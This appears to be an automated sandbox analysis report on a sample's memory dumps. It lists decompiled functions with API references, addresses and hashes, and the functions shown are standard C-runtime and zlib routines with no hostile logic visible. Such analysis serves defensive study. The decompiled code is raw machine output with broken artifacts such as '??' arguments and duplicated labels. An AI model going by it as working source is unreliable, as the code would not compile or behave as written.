Function 00417081, Relevance: 31.8, APIs: 21, Instructions: 340
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0x3fe0f6a3
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x00417089
0x00417090
0x00417098
0x0041709a
0x004170a0
0x004170a6
0x004170bb
0x004170c5
0x004170cb
0x004170ce
0x004170d0
0x004170d0
0x004170bd
0x004170bd
0x004170bd
0x004170bb
0x004170dd
0x00417101
0x00417101
0x00417109
0x004172bb
0x004172be
0x004172c1
0x004172c4
0x004172cb
0x004172cb
0x004172ce
0x004172d1
0x004172d8
0x004172d8
0x004172de
0x004172e4
0x004172e7
0x004172ea
0x004172f3
0x004172f6
0x004173ef
0x004173f1
0x004173f1
0x004173f4
0x004173f6
0x004173f9
0x004173fe
0x004173ff
0x00417402
0x00417404
0x00417406
0x00417409
0x0041740b
0x0041740c
0x00417411
0x00417409
0x00417412
0x00000000
0x00417412
0x00417309
0x0041730e
0x00417311
0x00417314
0x00417316
0x00000000
0x00000000
0x0041732a
0x0041732c
0x0041732f
0x00417331
0x0041733a
0x00417379
0x00417379
0x00417379
0x0041737b
0x0041737b
0x0041737d
0x00000000
0x00000000
0x00417384
0x0041739c
0x0041739e
0x004173a1
0x004173a3
0x004173bf
0x004173c1
0x004173c9
0x004173cb
0x004173cb
0x004173a5
0x004173a5
0x004173a5
0x004173cf
0x00000000
0x004173d4
0x0041733c
0x0041733f
0x00000000
0x00000000
0x00417341
0x00417344
0x00417349
0x00417362
0x00417368
0x0041736a
0x0041736c
0x00417372
0x00417372
0x00417372
0x00417375
0x00000000
0x00417375
0x0041734b
0x00417350
0x00417352
0x00417354
0x00000000
0x00000000
0x00417356
0x0041735c
0x00000000
0x0041735c
0x00417333
0x00417333
0x00000000
0x00000000
0x00000000
0x00000000
0x00417117
0x0041711a
0x004172ec
0x004172ec
0x00417414
0x00417425
0x00417425
0x00417120
0x00417126
0x0041712d
0x0041712d
0x00417130
0x00417153
0x00417155
0x00417157
0x00000000
0x0041715d
0x0041715d
0x004171a2
0x004171a2
0x004171a5
0x004171a8
0x00000000
0x00000000
0x004171c1
0x004172aa
0x004172ad
0x004172b2
0x00000000
0x004172b5
0x004171c7
0x004171db
0x004171dd
0x004171e2
0x00000000
0x00000000
0x004171ef
0x0041721a
0x0041721c
0x00417263
0x00417263
0x00417263
0x00417265
0x00417265
0x00417267
0x00417277
0x0041727d
0x0041727f
0x00417281
0x00417282
0x00417283
0x00417286
0x0041728c
0x0041728f
0x00417288
0x00417288
0x00417289
0x00417289
0x004172a0
0x004172a0
0x004172a4
0x004172a9
0x00000000
0x00417267
0x00417222
0x00417223
0x00417225
0x00417228
0x00000000
0x00000000
0x0041722a
0x0041722a
0x0041722e
0x00417233
0x0041724c
0x00417252
0x00417254
0x00417256
0x0041725c
0x0041725c
0x0041725c
0x0041725f
0x00000000
0x0041725f
0x00417235
0x0041723a
0x0041723c
0x0041723e
0x00000000
0x00000000
0x00417240
0x00417246
0x00000000
0x00417246
0x004171f4
0x00417213
0x00417213
0x00000000
0x004171f4
0x00417163
0x00417164
0x00417169
0x00000000
0x00000000
0x0041716b
0x0041716b
0x00417174
0x0041718a
0x00417190
0x00417192
0x0041719d
0x0041719d
0x00000000
0x0041719d
0x00417194
0x0041719a
0x0041719a
0x00000000
0x0041719a
0x00417176
0x0041717b
0x0041717f
0x00000000
0x00000000
0x00417181
0x00000000
0x00417181
0x00417157
0x00417109
0x004170df
0x004170e2
0x004170e5
0x004170e5
0x004170e8
0x00000000
0x00000000
0x004170ea
0x004170ed
0x00000000
0x00000000
0x004170ef
0x00000000
0x004170ef
0x004170f7
0x004170fb
0x004170fd
0x004170fd
0x004170fe
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,04261890), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 040172D1, Relevance: 22.8, APIs: 15, Instructions: 340COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 04017303
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00423620), ref: 04017315
_malloc.LIBCMT ref: 040173DA
_malloc.LIBCMT ref: 0401749C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 040174C7
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 040174EA
__freea.LIBCMT ref: 040174F4
__freea.LIBCMT ref: 040174FD
___ansicp.LIBCMT ref: 0401752E
___convertcp.LIBCMT ref: 04017559
_malloc.LIBCMT ref: 040175B2
_memset.LIBCMT ref: 040175D4
___convertcp.LIBCMT ref: 0401760A
__freea.LIBCMT ref: 0401761F
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 04017639

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: String__freea_malloc$___convertcp$ByteCharErrorLastMultiWide___ansicp_memset
String ID:
API String ID: 2918745354-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: 8c3829c3913c732e7c97ccb97ba2ce4c298df6b2fdbf30fececc1cda53d20a88
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: BEB19C7290011AEFEF21AFA4CC808EE7FB5EB08354B158129F916B7170E735E950DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04010825, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00421320,0000000C,04010960,00000000,00000000,?,00000001,0400C216,0400B97C), ref: 04010837
__crt_waiting_on_module_handle.LIBCMT ref: 04010842

Part of subcall function 0400E9BA: Sleep.KERNEL32(000003E8,00000000,?,04010788,KERNEL32.DLL,?,040107D4,?,00000001,0400C216,0400B97C), ref: 0400E9C6
Part of subcall function 0400E9BA: GetModuleHandleW.KERNEL32(00000001,?,04010788,KERNEL32.DLL,?,040107D4,?,00000001,0400C216,0400B97C), ref: 0400E9CF

__lock.LIBCMT ref: 0401089D
InterlockedIncrement.KERNEL32(?), ref: 040108AA
__lock.LIBCMT ref: 040108BE
___addlocaleref.LIBCMT ref: 040108DC

Strings

@.B, xrefs: 040108D1
KERNEL32.DLL, xrefs: 04010831, 04010836, 04010841

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: HandleModule__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: @.B$KERNEL32.DLL
API String ID: 4021795732-2520587274
Opcode ID: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction ID: 7ac9d19540f4b8d8f2635de131847ecffe13a78de59197f01271e0ee25add1cc
Opcode Fuzzy Hash: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction Fuzzy Hash: 31116371944701EEF720AF75D80078EBBE0AF04318F50852ED899B76E0CB74A6418B98

Uniqueness

Uniqueness Score: -1.00%

Function 04005A00, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04005A2E

Part of subcall function 0400BA9D: __FF_MSGBANNER.LIBCMT ref: 0400BAC0
Part of subcall function 0400BA9D: __NMSG_WRITE.LIBCMT ref: 0400BAC7

_malloc.LIBCMT ref: 04005A92
_malloc.LIBCMT ref: 04005B56
_malloc.LIBCMT ref: 04005B80

Strings

1.2.3, xrefs: 04005B3C, 04005B87

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: _malloc
String ID: 1.2.3
API String ID: 1579825452-2310465506
Opcode ID: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction ID: 86081ca70530768e5f027ac219fb80f1e3bb1d3d1e2ce8eac62bd08af7ee28ee
Opcode Fuzzy Hash: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction Fuzzy Hash: 5C61F671944780AFF730DF298C8056BBBE0BB46218F94C93ED5C6A7680E739B4498F56

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

0x004057b7
0x004057bf
0x004057c3
0x004057c5
0x004057cd
0x004059c8
0x004059ce
0x004057db
0x004057e3
0x004057e5
0x004057ea
0x00405921
0x0040592a
0x004057f0
0x004057f3
0x004057f6
0x004057f9
0x004057fc
0x004057ff
0x00405801
0x00405804
0x00405807
0x0040580a
0x0040580d
0x00405810
0x00405813
0x00405816
0x00405819
0x0040581c
0x00405824
0x00405827
0x0040582b
0x0040582e
0x00405831
0x00405834
0x00405837
0x00405837
0x00405839
0x0040583a
0x00405842
0x00405847
0x0040584a
0x0040584f
0x0040591c
0x0040591c
0x00000000
0x00405855
0x00405855
0x00405859
0x0040585b
0x00000000
0x00405870
0x00405872
0x00405874
0x00405874
0x00405877
0x0040587b
0x00405881
0x00405881
0x00405885
0x00405889
0x00405897
0x00405899
0x004058a5
0x004058a7
0x004058b3
0x004058b5
0x004058c1
0x004058c5
0x004058c7
0x004058c7
0x004058c8
0x004058b7
0x004058b7
0x004058b7
0x004058a9
0x004058a9
0x004058a9
0x0040589b
0x0040589b
0x0040589b
0x0040588f
0x00405892
0x00405892
0x004058cc
0x004058cf
0x00000000
0x00000000
0x004058d1
0x004058d9
0x00000000
0x00000000
0x004058db
0x004058db
0x004058e0
0x00000000
0x004058e2
0x004058e4
0x00405930
0x0040593f
0x00405942
0x00405944
0x00405949
0x0040594c
0x0040594e
0x00000000
0x00405950
0x00405950
0x00405953
0x00000000
0x00000000
0x00000000
0x00000000
0x00405953
0x004058e6
0x004058ea
0x004058ec
0x004058f1
0x004058f2
0x004058f4
0x004058f6
0x004058f8
0x004058f9
0x00405904
0x00405906
0x0040590b
0x0040590e
0x00405911
0x00405916
0x00000000
0x00405955
0x00405955
0x00405955
0x00405961
0x00405963
0x00405967
0x0040596d
0x0040596e
0x0040597c
0x0040597d
0x00405970
0x00405970
0x00405974
0x00405975
0x00405975
0x00405985
0x00405988
0x0040598a
0x00000000
0x0040598c
0x0040598c
0x00405990
0x004059a5
0x004059ad
0x004059b6
0x004059b6
0x004059b9
0x004059c5
0x00405992
0x00405992
0x004059a2
0x004059a2
0x00405990
0x0040598a
0x00405916
0x004058e4
0x00000000
0x00405860
0x00405860
0x00405862
0x00405864
0x00405865
0x00405868
0x00000000
0x0040586a
0x0040586a
0x0040586d
0x00000000
0x00405868
0x0040584f
0x004057ea
0x00000000

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0400BF12, Relevance: 10.7, APIs: 7, Instructions: 189COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0400BF74
_memcpy_s.LIBCMT ref: 0400BFE9
__fileno.LIBCMT ref: 0400C049
__read.LIBCMT ref: 0400C050
__filbuf.LIBCMT ref: 0400C074
_memset.LIBCMT ref: 0400C0BA
_memset.LIBCMT ref: 0400C0E5

